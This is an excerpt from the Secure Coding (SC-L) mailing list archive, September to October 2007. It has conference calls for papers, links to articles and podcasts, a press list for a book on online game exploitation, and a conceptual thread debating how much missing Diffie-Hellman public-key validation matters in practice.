majority of decision makers nowadays don't necessarily come from a
technical background and at some level practice Management by Magazine
and therefore we should help them to be successful...


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From gem at cigital.com  Mon Sep 10 11:21:52 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 10 Sep 2007 11:21:52 -0400
Subject: [SC-L] IEEE S&P: Attack Trends
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC9626FBA@va-mailhub.cigital.com>

Hi sc-l,

You've all heard me say that I think Online Game Security is a harbinger of things to come in software security as we move into SOA and more "heavy-client" distributed system design.  I wrote this idea up more thoroughly for the Attack Trends department in IEEE S&P.

The resulting article will be published in the next issue, but meanwhile a copy is available here (you're welcome to distribute it):
http://www.cigital.com/papers/download/attack-trends-EOG.pdf

Get ready, here come the time and state errors!

BTW, everyone on this list should subscribe to IEEE S&P magazine (which also publishes silver bullet interviews and building security in).  Here's a URL for that: www.computer.org/services/nonmem/spbnr

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com

Exploiting Online Games www.exploitingonlinegames.com


From crispin at novell.com  Wed Sep 12 21:17:01 2007
From: crispin at novell.com (Crispin Cowan)
Date: Wed, 12 Sep 2007 18:17:01 -0700
Subject: [SC-L] NDSS 2008 CfP Papers Due September 21
Message-ID: <46E88F8D.8060109@novell.com>

NDSS (Network and Distributed Systems Security) is a traditional
academic scholarly conference, with an emphasis on practical security
matters. If you have a result on how to make software more secure,
please consider submitting a paper.

Papers are due September 21st
http://www.isoc.org/isoc/conferences/ndss/08/cfp.shtml

The conference itself is February 10-13 in San Diego.

Thanks,
    Crispin

-- 
Crispin Cowan, Ph.D.               http://crispincowan.com/~crispin/
Director of Software Engineering   http://novell.com
	AppArmor Chat: irc.oftc.net/#apparmor


From kowsik at gmail.com  Wed Sep 19 01:24:21 2007
From: kowsik at gmail.com (Kowsik)
Date: Tue, 18 Sep 2007 22:24:21 -0700
Subject: [SC-L] DH exchange: conspiracy or ignorance?
Message-ID: <7db9abd30709182224p1877d7ffn999d126926ec00@mail.gmail.com>

http://labs.musecurity.com/2007/09/18/widespread-dh-implementation-weakness/

K.

ps: I work for Mu.

From elebanidze at cigital.com  Wed Sep 19 11:31:40 2007
From: elebanidze at cigital.com (Evgeny Lebanidze)
Date: Wed, 19 Sep 2007 11:31:40 -0400
Subject: [SC-L] DH exchange: conspiracy or ignorance?
In-Reply-To: <7db9abd30709182224p1877d7ffn999d126926ec00@mail.gmail.com>
References: <7db9abd30709182224p1877d7ffn999d126926ec00@mail.gmail.com>
Message-ID: <853A02533F8C88439F2331EB193853842BCE4AABB3@va-mailhub.cigital.com>

Yes, this is certainly bad and a very interesting finding.  These checks should clearly be present.  Are there serious practical ramifications of this problem though?  In other words, how likely is it that the generated public key in the DH key exchange will actually be 0 or 1?  It can certainly happen, but our passive attacker would have to be passive for a very long time and there is no guarantee that the secret key they might eventually get will be of interest to them (since the attacker cannot control when a weak public key is produced).  Just a thought.

Evgeny

-------------------------------------------------
Evgeny Lebanidze
Senior Security Consultant, Cigital
703-585-5047, http://www.cigital.com
Software Confidence.  Achieved.


-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of Kowsik
Sent: Wednesday, September 19, 2007 1:24 AM
To: SC-L at securecoding.org
Subject: [SC-L] DH exchange: conspiracy or ignorance?

http://labs.musecurity.com/2007/09/18/widespread-dh-implementation-weakness/

K.

ps: I work for Mu.
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From leichter_jerrold at emc.com  Wed Sep 19 12:19:02 2007
From: leichter_jerrold at emc.com (Leichter, Jerry)
Date: Wed, 19 Sep 2007 12:19:02 -0400 (EDT)
Subject: [SC-L] DH exchange: conspiracy or ignorance?
In-Reply-To: <853A02533F8C88439F2331EB193853842BCE4AABB3@va-mailhub.cigital.com>
References: <7db9abd30709182224p1877d7ffn999d126926ec00@mail.gmail.com>
	<853A02533F8C88439F2331EB193853842BCE4AABB3@va-mailhub.cigital.com>
Message-ID: <Pine.SOL.4.61.0709191155470.26150@mental>

| Yes, this is certainly bad and a very interesting finding.  These
| checks should clearly be present.  Are there serious practical
| ramifications of this problem though?  In other words, how likely is
| it that the generated public key in the DH key exchange will actually
| be 0 or 1?  It can certainly happen, but our passive attacker would
| have to be passive for a very long time and there is no guarantee that
| the secret key they might eventually get will be of interest to them
| (since the attacker cannot control when a weak public key is
| produced).  Just a thought.
What's special about an computed local value of 1 is that anyone can
easily compute the log of 1:  It's 0.  (Note that a public key value
of 0 is impossible - 0 isn't in the group.  The same goes for any
value greater than p-1.  Checking for these isn't so much checking
for security as checking for the sanity of the sender - if he sends
such a value, he's buggy and shouldn't be trusted!)

In typical implementations of DH, both the group and the generator are
assumed to be public.  In that case, anyone can generate a table of
x, g^x pairs for as many x's as they resources to cover.  Given such a
table, a passive attacker can find log of the secret whenever the
secret happens to be in the table.

Of course, the group is chosen large enough that any conceivable table
will only cover a tiny proportion of the possible values, so in practical
terms this attack is uninteresting.

The fact that two entries in the table (for x=0 and x=p-2) can be
computed "in your head" (well, you might need a pencil and paper for the
second) doesn't make the table any more of an viable attack mechanism.
So the passive observer attack doesn't make much sense to me.

Is there some other attack specific to these values that I'm missing?

BTW, the paper suggest a second test, (K_a)^g = 1 (mod p).  This test
makes sense if you're working over a subgroup of Z* mod p (as is often,
but not always, done).  If you're working over the full group, any
K_a between 1 and p-1 is "legal", so this can only test the common
parameter g, which is fixed.  That hardly seems worth doing - if the
public parameters are bad, you're completely screwed anyway.

							-- Jerry

| Evgeny
| 
| -------------------------------------------------
| Evgeny Lebanidze
| Senior Security Consultant, Cigital
| 703-585-5047, http://www.cigital.com
| Software Confidence.  Achieved.
| 
| 
| -----Original Message-----
| From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of Kowsik
| Sent: Wednesday, September 19, 2007 1:24 AM
| To: SC-L at securecoding.org
| Subject: [SC-L] DH exchange: conspiracy or ignorance?
| 
| http://labs.musecurity.com/2007/09/18/widespread-dh-implementation-weakness/
| 
| K.
| 
| ps: I work for Mu.
| _______________________________________________
| Secure Coding mailing list (SC-L) SC-L at securecoding.org
| List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
| List charter available at - http://www.securecoding.org/list/charter.php
| SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
| as a free, non-commercial service to the software security community.
| _______________________________________________
| 
| _______________________________________________
| Secure Coding mailing list (SC-L) SC-L at securecoding.org
| List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
| List charter available at - http://www.securecoding.org/list/charter.php
| SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
| as a free, non-commercial service to the software security community.
| _______________________________________________
| 
| 

From bitsec at fakse-ldp.dk  Wed Sep 19 13:04:20 2007
From: bitsec at fakse-ldp.dk (Bjarne Carlsen)
Date: Wed, 19 Sep 2007 19:04:20 +0200
Subject: [SC-L] DH exchange: conspiracy or ignorance?
In-Reply-To: <853A02533F8C88439F2331EB193853842BCE4AABB3@va-mailhub.cigital.com>
References: <7db9abd30709182224p1877d7ffn999d126926ec00@mail.gmail.com>
	<853A02533F8C88439F2331EB193853842BCE4AABB3@va-mailhub.cigital.com>
Message-ID: <1190221460.16995.14.camel@localhost.localdomain>

Since most, if not all implementations of DH key exchange are set to
choose p and q from primes with several hundreds of digits, the chance
of getting a zero or one is extremely small to non-existent.

That aside the finding is, of course, an implementation weakness.

Bjarne

---
Bjarne Carlsen
CTO 
I/S Mail2Net
Denmark

ons, 19 09 2007 kl. 11:31 -0400, skrev Evgeny Lebanidze:
> Yes, this is certainly bad and a very interesting finding.  These checks should clearly be present.  Are there serious practical ramifications of this problem though?  In other words, how likely is it that the generated public key in the DH key exchange will actually be 0 or 1?  It can certainly happen, but our passive attacker would have to be passive for a very long time and there is no guarantee that the secret key they might eventually get will be of interest to them (since the attacker cannot control when a weak public key is produced).  Just a thought.
> 
> Evgeny
> 
> -------------------------------------------------
> Evgeny Lebanidze
> Senior Security Consultant, Cigital
> 703-585-5047, http://www.cigital.com
> Software Confidence.  Achieved.
> 
> 
> -----Original Message-----
> From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org] On Behalf Of Kowsik
> Sent: Wednesday, September 19, 2007 1:24 AM
> To: SC-L at securecoding.org
> Subject: [SC-L] DH exchange: conspiracy or ignorance?
> 
> http://labs.musecurity.com/2007/09/18/widespread-dh-implementation-weakness/
> 
> K.
> 
> ps: I work for Mu.
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________


From abozanich at sftank.com  Wed Sep 19 19:01:13 2007
From: abozanich at sftank.com (Adam Bozanich)
Date: Wed, 19 Sep 2007 16:01:13 -0700
Subject: [SC-L] DH exchange: conspiracy or ignorance?
Message-ID: <a08fff5f0709191601y3cb0416ai74c3bb33492f68c@mail.gmail.com>

( just jumped onto the list )

nash <nashef at gmail.com> wrote:
> How do you feel this differs from a participant simply pre-agreeing on his
keys with the "passive attacker?"

There is not much difference, you are right.  What we described is also a
lot easier to detect ( are there actually ips signatures for this? ), but
easier to implement and coordinate.

> How does the threat differ from the participant simply forwarding the
plaintext on a separate channel?

The separate channel isn't necessary, that's the difference.

> I mean, no key exchange protocol is magical. If one of the parties is a
bad guy, then he can subvert the security objectives of the protocol every
time. What are you really expecting DH to do, here?

We are expecting the vendors who claim to sell highly secure equipment to
follow extremely simple sanitation procedures as recommended by the NIST ,
ANSI , and various RFCs.

> Blake-Wilson, et al., set out the authenticated key agreement problem
> in this way: ... entity i wishes to agree on secret keying information
with entity j. Each party desires an assurance that no party other than i
and j can possibly compute the keying information agreed.

> Your attack assumes that j is the "bad guy." That's not what Blake-Wilson
seem to be talking about.

I disagree.  They're supposed to protect themselves.  There is no assurance
that no other party can compute the keying information if the keys aren't
validated.  Buggy software can send invalid keys, for instance.

> This strikes me as sloppy academics at best, or deliberately misleading,
at worst. I hope you were merely excited and in a rush, but either way
you've thrown several red flags.

This characterization is unnecessary.  We are not a research organization
and I am not an academic.  We are simply pointing out that nobody is
following the recommendations.  I admit that the title of the blog post
could have been less inflammatory.

You also did not address the fact that DoS/MitM implementations don't need
to compute the secret, so the processing power required to run them is a lot
lower.

-Adam Bozanch
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070919/a9e5900d/attachment.html 

From ken at krvw.com  Fri Sep 21 08:18:07 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Fri, 21 Sep 2007 08:18:07 -0400
Subject: [SC-L] Fwd: [1st-t] Vancouver 2008 First Conference - Call for
	Papers
References: <C318241D.1DDE0%rrailton@cisco.com>
Message-ID: <04919DF2-6502-427C-A8C6-DC10B24BE57B@krvw.com>

SC-L,

I'm forwarding the following Call for Papers (see below) for next  
year's FIRST conference here.  Now, I recognize that FIRST (the Forum  
of Incident Response and Security Teams) is NOT a software security  
conference.  But, over the past few years, I've started bringing some  
software security related sessions to the conference, and they've  
been well received.  I'm a big believer in reaching out to other  
communities, and if ever there were two groups that should be talking  
and working together more than they currently do (IMHO), it's  
software developers and information security folks.

Disclaimer: I currently sit on FIRST's steering committee, although I  
have nothing to do with accepting/rejecting conference sessions.   
That said, if any of you ARE interested in reaching out to FIRST a  
bit and would like to chat, please drop me a line.

Cheers,

Ken van Wyk

-----
Kenneth R. van Wyk
KRvW Associates, LLC
http://www.KRvW.com
SC-L Moderator


Begin forwarded message:

> From: Reneau? Railton <rrailton at cisco.com>
> Date: September 20, 2007 1:20:29 PM EDT
> To: <first-teams at first.org>, <first-reps at first.org>
> Subject: [1st-t] Vancouver 2008 First Conference - Call for Papers
>
> FIRST 20th Annual Conference, June 22nd ? 27th, 2008, Hyatt Regency  
> Vancouver British Columbia, Canada
>
>  Crossing Borders: Towards the Globalization of Security
>
>  Call for Papers
>  - - - - ---------------
>  This is a call for papers and tutorials for the 20th Annual FIRST
>  Conference. This text is also available at:
>  http://www.first.org/conference/2008/papers.html
>
>
>  Overview
>  - - - - ---------
>  The Forum of Incident Response and Security Teams (FIRST,
>  http://www.first.org/) is a global non-profit organization dedicated
>  to bringing together computer security incident response teams
>  (CSIRT's) and includes response teams from 180 corporations,
>  government bodies, universities and other institutions spread across
>  the Americas, Asia, Europe and Oceania.
>
>  The annual FIRST conference not only provides a setting for
>  participants to attend tutorials and hear presentations by leading
>  experts in the CSIRT community, it also creates opportunities for
>  networking, collaboration, and sharing technical information. Just as
>  importantly, the conference enables attendees to meet their peers and
>  build confidential relationships across corporate disciplines and
>  geographical boundaries.
>
>  FIRST conference participants include not only CSIRT staff, but also
>  IT managers, network and system administrators, software and hardware
>    vendors, law enforcement representatives, security solutions
>  providers, telecommunications organizations, ISPs, and general
>    computer and network security personnel. FIRST conferences cover a
>  broad range of security related topics such as (but not limited to):
>  . Advanced techniques in security incident prevention, detection and
>  response. . Latest advances in computer and network security tools .
>  Shared views, experiences, and resolutions in the computer security
>  incident response field.
>
>
>  The Conference
>  - - - ----------------
>  The conference is a five-day event, comprised of two days of
>  Tutorials, three days of Plenary Sessions focused on either Business
>  or Technical issues. These include paper presentations, keynote
>  speeches, Panel discussions and Birds-of-a-Feather Sessions.
>
>  Features planned for this year's conference include:
>
> Geek Zone - Presentations with a Hands On Format aimed at smaller,  
> more technical audiences of up to 30 people
> Case Studies ? Lessons learned in dealing with real events, from  
> discovery to remediation.  Share practical experiences in dealing  
> with cyber incidents along with the tools that provided most valuable.
> SIG (Special Interest Group) meetings
> Beer 'n Gear where vendors demonstrate their equipment .
> Security Challenge
>
>  The theme for the 2008 conference is ?Crossing Borders: Towards  
> the Globalization of Security '.
>
>  The conference language is English.
>
>  Call for Papers
>  - - - ---------------
>  The FIRST program committee solicits original contributions for this
>  conference, which are broadly based on the theme of ?Crossing  
> Borders: Towards the Globalization of Security'.
>
>  All submissions must reflect original work and must adequately
>  document any overlap with previously published or simultaneously
>  submitted papers from any of the authors. If authors have any doubts
>  regarding whether such overlap exists, they should contact the
>  program chairs prior to submission.
>
>  Papers will be scheduled as part of the Main Conference.
>
>  Timeslots are available in three lengths:
>  a) 50 Minutes, with 10 minutes question time
>  b) 40 minutes, with 10 minutes question time
>  c) 25 Minutes, with 5 minutes question time.
>
>  The program committee is also looking for contributions to the 'Geek
>  Zone Sessions', where presentations may last for up to three hours  
> and which are aimed
>  at a smaller more technical audience of up to 30 people. These
>  presentations are intended to include live demos and involve their
>  audiences in active participation.
>
>  It is important that your presentation/class is:
>  . Topical
>  . Unique
>
>  You should not present with the aim of gaining the audience's
>  interest in any commercial application or product, in other words:
>  NO MARKETING PAPERS.
>
>  All submission must be in English in MS Office, OpenOffice or PDF
>  format.
>
>  Process of Selection
>  - - - ---------------------
>  All paper submissions will be handled electronically thru the web
>  Conference Manager at: https://www.softconf.com/starts/FIRST2008/
>
>  The program committee will evaluate all submissions based on quality
>  and relevance. All submissions are held in confidence prior to
>  publication in the proceedings.
>
>  Submissions received after the deadline (see "Important Dates" below)
>  will not be considered unless the program chair has granted an
>  extension. Where employer, client, or government authorization is
>  needed, it is the responsibility of the author(s) to obtain such
>  authorization prior to submitting the final materials.
>
>  Accepted papers will be presented by their author(s) and will be
>  published in the conference proceedings with associated Speaker
>  Biographies and Photographs. The proceedings are provided free of
>  charge to conference attendees. After the conference the papers will
>  be published on the FIRST website.
>
>
>  Copyright
>  - - - ----------
>  FIRST requires a non-exclusive copyright license for all the papers
>  presented at the conference and for the presentation materials. This
>  includes distribution on the conference CD-ROM and the FIRST website.
>
>
>  Speakers Privileges
>  - - - --------------------
>  A reduction of the conference fee will be offered to one author of
>  each accepted paper or Hands on Class.
>
>  Important Dates
>  - - - ----------------
>  Submission Deadline              November 30th, 2007
>  Notification of Acceptance       February 15th 2008
>  Final Submission                    April 30th, 2008
>
>  Questions
>  - - - -----------
>  If you have any questions about the conference, submission process or
>  require more information please send your query to
>  first-2008chair at lists.first.org
>
>
>  Proposal Submission Form
>  - - - ---------------------------
>  The form for submissions is available at:
>  https://www.softconf.com/starts/FIRST2008
>
>
>  Sponsorship opportunities
>  - - - ---------------------------
>  To help keep conference registration costs down FIRST.Org, Inc., a
>  not-for-profit corporation, solicits conference sponsorships at
>  varying levels. We seek sponsoring organizations that support the
>  mission of FIRST and are committed to improving computer security
>  around the world. Sponsors may receive discount registration fees.
>
>  Sponsorship at FIRST Conferences opens to the doors to gain focused
>  access to a highly influential group of IT Security practitioners and
>  Computer Security Incident Response Experts from around the globe.
>  When you sponsor the event, you will:
>  . Reach an expected target audience of 400-500 attendees . Increase
>    worldwide awareness of your organization's products and services
>  . Gain access to computer security decision-makers
>
>  For more information, visit http://www.first.org/conference/2008/ 
> sponsorship.html
>  We look forward to receiving your submissions.
>
>
>  Regards,
>  Reneau? Railton
>  2008 Program Chair
>
>
>
>
> _______________________________________________
>
> *** FIRST restricted use mailinglist ***
>
> first-teams mailing list
> first-teams at lists.first.org
> _______________________________________________





-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070921/d2558d74/attachment.bin 

From gem at cigital.com  Fri Sep 21 14:10:01 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 21 Sep 2007 14:10:01 -0400
Subject: [SC-L] Darkreading: cell phone insecurity
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC9674DD0@va-mailhub.cigital.com>

Hi sc-l,

Mikko Hypponen from f-secure gave a fun talk at Usenix security about the evolution of cell phones (the advent of more software, etc) and its impact on security.  The mobile device market needs software security as much as anyone!

I wrote my monthly darkreading column about that this month:
http://www.darkreading.com/document.asp?doc_id=133861&WT.svl=tease3_2

I'm planning a silver bullet episode with Mikko soon.  Just finished recording spaf yesterday, so stay tuned for that one.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com


From gem at cigital.com  Tue Sep 25 21:47:12 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 25 Sep 2007 21:47:12 -0400
Subject: [SC-L] silver bullet: spaf
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC9675160@va-mailhub.cigital.com>

hi sc-l,

Here is the silver bullet with spaf (aka Gene Spafford from Purdue).  Not only is spaf a security expert from way back, but his roots are in software testing and software reliability.  Anybody heard of mutation testing out there?  spaf worked on that in the early days.

Have a listen:
http://www.cigital.com/silverbullet/show-018/

As usual, your feedback is most welcome.

gem

company www.cigital.com
blog www.cigital.com/justiceleague
book www.swsec.com


From gem at cigital.com  Tue Oct  2 11:04:11 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 2 Oct 2007 11:04:11 -0400
Subject: [SC-L] swsec story breaking
Message-ID: <41945506397C0C4886A8C5BFF089B5CA2AC9E75037@va-mailhub.cigital.com>

hi sc-l,

Every once in a while, a news story about software security breaks out and generates buzz in the real world.  Looks like the AP helped get a wave going on the Exploiting Online Games front.  Of particular interest is the fact that the major press even latched on to the connection to future attacks.

Two big hits:

http://www.cnn.com/2007/TECH/10/01/videogame.cheating.ap/index.html

http://www.msnbc.msn.com/id/21086113/

We're keeping a complete list of press hits here, though it will take us a while to get this up to date:
http://exploitingonlinegames.com/press/

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleaue
book www.swsec.com

---------
A partial list of papers covering the story (the list is still growing as the sun moves west):

Sun-Sentinel.com, FL
Chicago Tribune,
Ocala Star-Banner, FL
The Ledger, FL
Sarasota Herald-Tribune, FL
Worcester Telegram, MA
White Plains Journal News, NY
TheNewsTribune.com (subscription), WA
Wyoming News, WY
News-Leader.com, MO
HeraldNet, WA
Maryville Daily Times, TN
MiamiHerald.com
Bradenton Herald,  United States
The Journal News / Lohud.com, NY
Inland Valley Daily Bulletin, CA
Deseret News, UT
Jackson Clarion Ledger, MS
North County Times, CA
Houston Chronicle
Pioneer Press, MN
Charleston Post Courier, SC
The Times of Trenton - NJ.com, NJ
The State, SC
Pittsburgh Tribune-Review, PA
Daily Press, VA
Baltimore Sun
Los Angeles Times, CA
Press of Atlantic City, NJ
Denver Post, CO
North County Times, CA
Twin Falls Times-News, ID
nwitimes.com, IN
Waterloo Cedar Falls Courier, IA
phillyBurbs.com, PA
MIT Technology Review, MA
The Columbian, WA
Carlisle Sentinel, PA
Bismarck Tribune
In-Forum (subscription), ND
WSLS.com, VA
Centre Daily Times, PA
KCEN-TV, TX
Wilmington Morning Star, NC
Marketplace, CA
The Associated Press
Hemscott, UK
Chippewa Herald, WI
KLTV, TX
CNNMoney.com
Euro2day, Greece
Worcester Telegram, MA
Wyoming News, WY
Forbes, NY
Houston Chronicle
PhysOrg.com, VA
CBC.ca,  Canada
Herald News Daily, ND
CNN
The Canadian Press
White Rock Reviewer, SD
Jackson News-Tribune, WY
Brocktown News,  USA
New Hope Courier, OK
Chandler News-Dispatch, MN
Pierceland Herald, Canada
Jordan Falls News, Canada
Westfall Weekly News, Canada
Pioneer Times-Journal, NM
Akron Farm Report, NE
Sky Valley Journal,  USA
Times Daily (subscription), AL
KTEN, TX
Washington Times, DC
KLTV, TX
ABC News
Dallas Morning News (subscription), TX
KSWO, OK
KTRE, TX
Fort Worth Star Telegram, TX
News 10NBC, NY
Minneapolis Star Tribune (subscription), MN KSTP.com, MN Fort Worth Star Telegram, TX Hemscott, UK Denver Post, CO CNNMoney.com News & Observer, NC San Francisco Chronicle,  USA MiamiHerald.com,  USA San Luis Obispo Tribune, CA Belleville News Democrat,  USA Salt Lake Tribune, United States TheNewsTribune.com (subscription), WA Euro2day, Greece Columbus Ledger-Enquirer, GA The Olympian, WA WRAL.com, NC MLive.com, MI



From ken at krvw.com  Tue Oct  2 18:09:14 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Tue, 2 Oct 2007 18:09:14 -0400
Subject: [SC-L] CERT Advances Secure Coding Standards - Desktop Security
	News Analysis - Dark Reading
Message-ID: <304655F2-2956-4DA8-802A-154018161B84@krvw.com>

Here's some good news from CERT and Fortify.  Shortly, CERT will be  
generating Fortify SCA rules to help automate reviewing C/C++ source  
code against their secure coding standards.

http://www.darkreading.com/document.asp?doc_id=135352&WT.svl=news1_2

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071002/fa338fe5/attachment.bin 

From dave.wichers at owasp.org  Fri Oct  5 09:29:47 2007
From: dave.wichers at owasp.org (Dave Wichers)
Date: Fri, 5 Oct 2007 09:29:47 -0400
Subject: [SC-L] OWASP & WASC AppSec 2007 Conference - Nov 12-15 - San Jose,
	CA
Message-ID: <049401c80753$cd635be0$682a13a0$@wichers@owasp.org>

OWASP and WASC have agreed to join forces this year to put together an
incredible AppSec 2007 Conference for the application security community,
Nov. 12-15 in San Jose. A huge concentration of industry leading experts
will be in attendance presenting high quality web application security
content. AppSec 2007 offers a unique opportunity for security professionals,
software developers, and IT managers to get up to speed on the latest and
greatest attack techniques, defense strategies, and industry trends in an
atmosphere of peers. The conference format and venue is also perfect for
networking and sharing experiences with others that are down in the
trenches.

 

Full details on the conference are available at:
http://www.owasp.org/index.php/OWASP_
<http://www.owasp.org/index.php/OWASP_&_WASC_AppSec_2007_Conference>
&_WASC_AppSec_2007_Conference 

 

There are many new firsts to this conference that I wanted to mention:

 

1)      This is the first joint OWASP and WASC AppSec Conference

2)      eBay is hosting this conference, which is the first conference being
hosted at a company facility. (Thank you eBay)

3)      Web Services Security Track: A 3rd track has been added on Day 1 for
this topic, which is an important area for OWASP to get involved with (and
it is)

Details on this track are available at:
http://www.owasp.org/index.php/7th_OWASP_AppSec_Conference_-_San_Jose_2007/A
genda#Nov_14:_Track_3:_Web_Services_Security 

4)      Tutorials: The tutorials session has been expanded to 2 full days
and we have five 2-day tutorials this time on Nov 12-13:

a.       Building and Testing Secure Web Applications

b.      Secure Coding for Java EE

c.       Secure Coding .NET Web Applications

d.      Web Services and XML Security

e.      Leveraging OWASP Tools and Documents to Secure Your Enterprise (Our
first OWASP specific tutorial!! - Taught by our Chief Evangelist - Dinis
Cruz)

Tutorial details are available at:
http://www.owasp.org/index.php/7th_OWASP_AppSec_Conference_-_San_Jose_2007/T
raining 

5)      A Technology Expo has been introduced. Vendors of application
security products and managed services will be demonstrating their wares for
the first time at an OWASP conference on Nov 13 and Nov 14.

Tech Expo info is available at:
http://www.owasp.org/index.php/7th_OWASP_AppSec_Conference_-_San_Jose_2007/A
genda#Tech_Expo_-_Nov_13th-14th 

If you are a vendor interested in participating in the expo, more details
are here: http://www.owasp.org/index.php/OWASP_AppSec_Conference_Sponsors 

6)      New Social Events! - Breach is going to again have a cocktail party.
This time its Nov 13. OWASP has its dinner on Nov 14. The OWASP Band!! Is
also playing on Nov 14 (Check with Dinis for details). Microsoft has now
joined in and is having a closing cocktail party on Nov 15 that is being
cosponsored by Aspect Security.

 

I hope to see you there!

 

Thanks, Dave

 

Dave Wichers

OWASP Conferences Chair

dave.wichers at owasp.org

 

 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20071005/b8a9f7ab/attachment.html 

From ken at krvw.com  Sat Oct  6 09:58:02 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Sat, 6 Oct 2007 09:58:02 -0400
Subject: [SC-L] Microsoft Pushes Secure, Quality Code
Message-ID: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>

SC-Lers,

Hey, here's some good news out of Microsoft.  According to EWeek,  
"Now for Visual Studio 2008, Microsoft's code analysis team is adding  
some new features, including Code Metrics, a new tool window "that  
allows you to not only get an overall view of the health [code-wise]  
of your application, but also gives you the ability to dig deep to  
find those unmaintainable and complex hotspots," Somasegar said.

For Visual Studio 2008, Code Metrics will ship with five metrics:  
Cyclomatic Complexity, Depth of Inheritance, Class Coupling, Lines of  
Code and Maintainability Index, he said. "

The full story is here http://www.eweek.com/ 
article2/0,1895,2192515,00.asp

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20071006/fb3c5d15/attachment.bin 

From dinis at ddplus.net  Sat Oct  6 18:43:55 2007
From: dinis at ddplus.net (Dinis Cruz)
Date: Sat, 6 Oct 2007 23:43:55 +0100
Subject: [SC-L] Dr.Dobb's Interview: Security, .NET, and the OWASP Project
Message-ID: <701fd6b60710061543o7290c22fi94501c7e06bd0f99@mail.gmail.com>

Hi, here is an interview that I gave to Dr.Dobb's portal website where I
talk about .NET, OWASP and continue to bang on the Sandbox Drum :)

http://www.ddj.com/security/202300130

Let me know your thoughts on it

Dinis Cruz
Chief OWASP Evangelist
http://www.owasp.org
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20071006/2123b0d9/attachment.html 

From fcojbn at yahoo.com.br  Mon Oct  8 07:00:44 2007
From: fcojbn at yahoo.com.br (Francisco Nunes)
Date: Mon, 8 Oct 2007 08:00:44 -0300 (ART)
Subject: [SC-L] Question about SSE-CMM
In-Reply-To: <mailman.1.1191772801.67664.sc-l@securecoding.org>
Message-ID: <362526.8372.qm@web53711.mail.re2.yahoo.com>

Dear list members.

After reading SSE-CMM, I became confused whether
SSE-CMM can be used to improve their PAs like CMMI
does, i.e., both improve in continuous or in staged
way.

Please, what are your opinions?

Thank you.

Yours sincerely,
Francisco.


      Abra sua conta no Yahoo! Mail, o ?nico sem limite de espa?o para armazenamento!
http://br.mail.yahoo.com/

From coley at linus.mitre.org  Mon Oct  8 13:14:53 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 8 Oct 2007 13:14:53 -0400 (EDT)
Subject: [SC-L] Microsoft Pushes Secure, Quality Code
In-Reply-To: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
References: <CEFDE000-45DB-4C5C-89E5-1DBF239B907F@KRvW.com>
Message-ID: <Pine.GSO.4.51.0710081311590.29231@faron.mitre.org>


Interesting that attack surface isn't included, given that Microsoft was
one of the earliest advocates of attack surface, a metric that is likely
strongly associated with the number of input-related vulnerabilities.
It's probably hard to do perfectly, though, especially if any third-party
APIs are involved.

